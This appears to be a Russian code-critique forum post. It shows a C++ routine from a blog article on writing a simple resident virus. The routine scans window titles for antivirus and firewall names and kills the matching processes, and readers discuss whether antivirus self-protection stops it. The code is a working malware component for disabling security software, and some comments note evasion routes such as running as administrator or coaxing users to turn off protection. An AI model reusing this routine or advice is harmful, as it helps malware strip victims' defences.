- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}
> {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
> TerminateProcess(hProcess,0);
Наивный макак.
http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/
Psionic 17.07.2014 18:17 # 0
А от чиего имени происходит вызов? Если от юзера - так просто убить свой процес антивирус не даст.
gost 17.07.2014 18:45 # −1
anonimb84a2f6fd141 17.07.2014 21:39 # 0
От этого не застрахован никакой касперский.
bormand 17.07.2014 21:41 # 0
Это результат эксперимента или просто мысль?
Ничто не мешает антивирусу перехватывать MoveWindow на свои окна, или вообще выпилить их из всех списков... Но вот делает ли он так в реале - х.з., я не пробовал.
anonimb84a2f6fd141 17.07.2014 21:44 # −2
bormand 17.07.2014 21:45 # +2
anonimb84a2f6fd141 17.07.2014 21:48 # −4
kegdan 18.07.2014 14:14 # +1
Psionic 18.07.2014 12:39 # 0
anonimb84a2f6fd141 17.07.2014 22:56 # −12
Vasiliy 17.07.2014 20:01 # 0
gost 17.07.2014 20:33 # −1
anonimb84a2f6fd141 17.07.2014 20:42 # −3
gost 17.07.2014 21:34 # +3
anonimb84a2f6fd141 17.07.2014 21:37 # −2
eth0 18.07.2014 16:50 # 0
bormand 17.07.2014 20:12 # 0
Если не от юзера - тоже не даст :)
Тут, емнип, только прорываться с боем в нулевое кольцо защиты. Ну или тупо уговорить юзера отключить самозащиту антивиря.
eth0 18.07.2014 16:52 # 0
Кроме того, в 99% случаев домашний пользователь сидит под xp/семёркой с отрубленным uac'ом, с правами локального администратора.
anonimb84a2f6fd141 17.07.2014 20:43 # −2
kegdan 17.07.2014 20:45 # +1
bormand 17.07.2014 21:24 # +2
kegdan 17.07.2014 21:28 # +4
anonimb84a2f6fd141 17.07.2014 21:48 # −12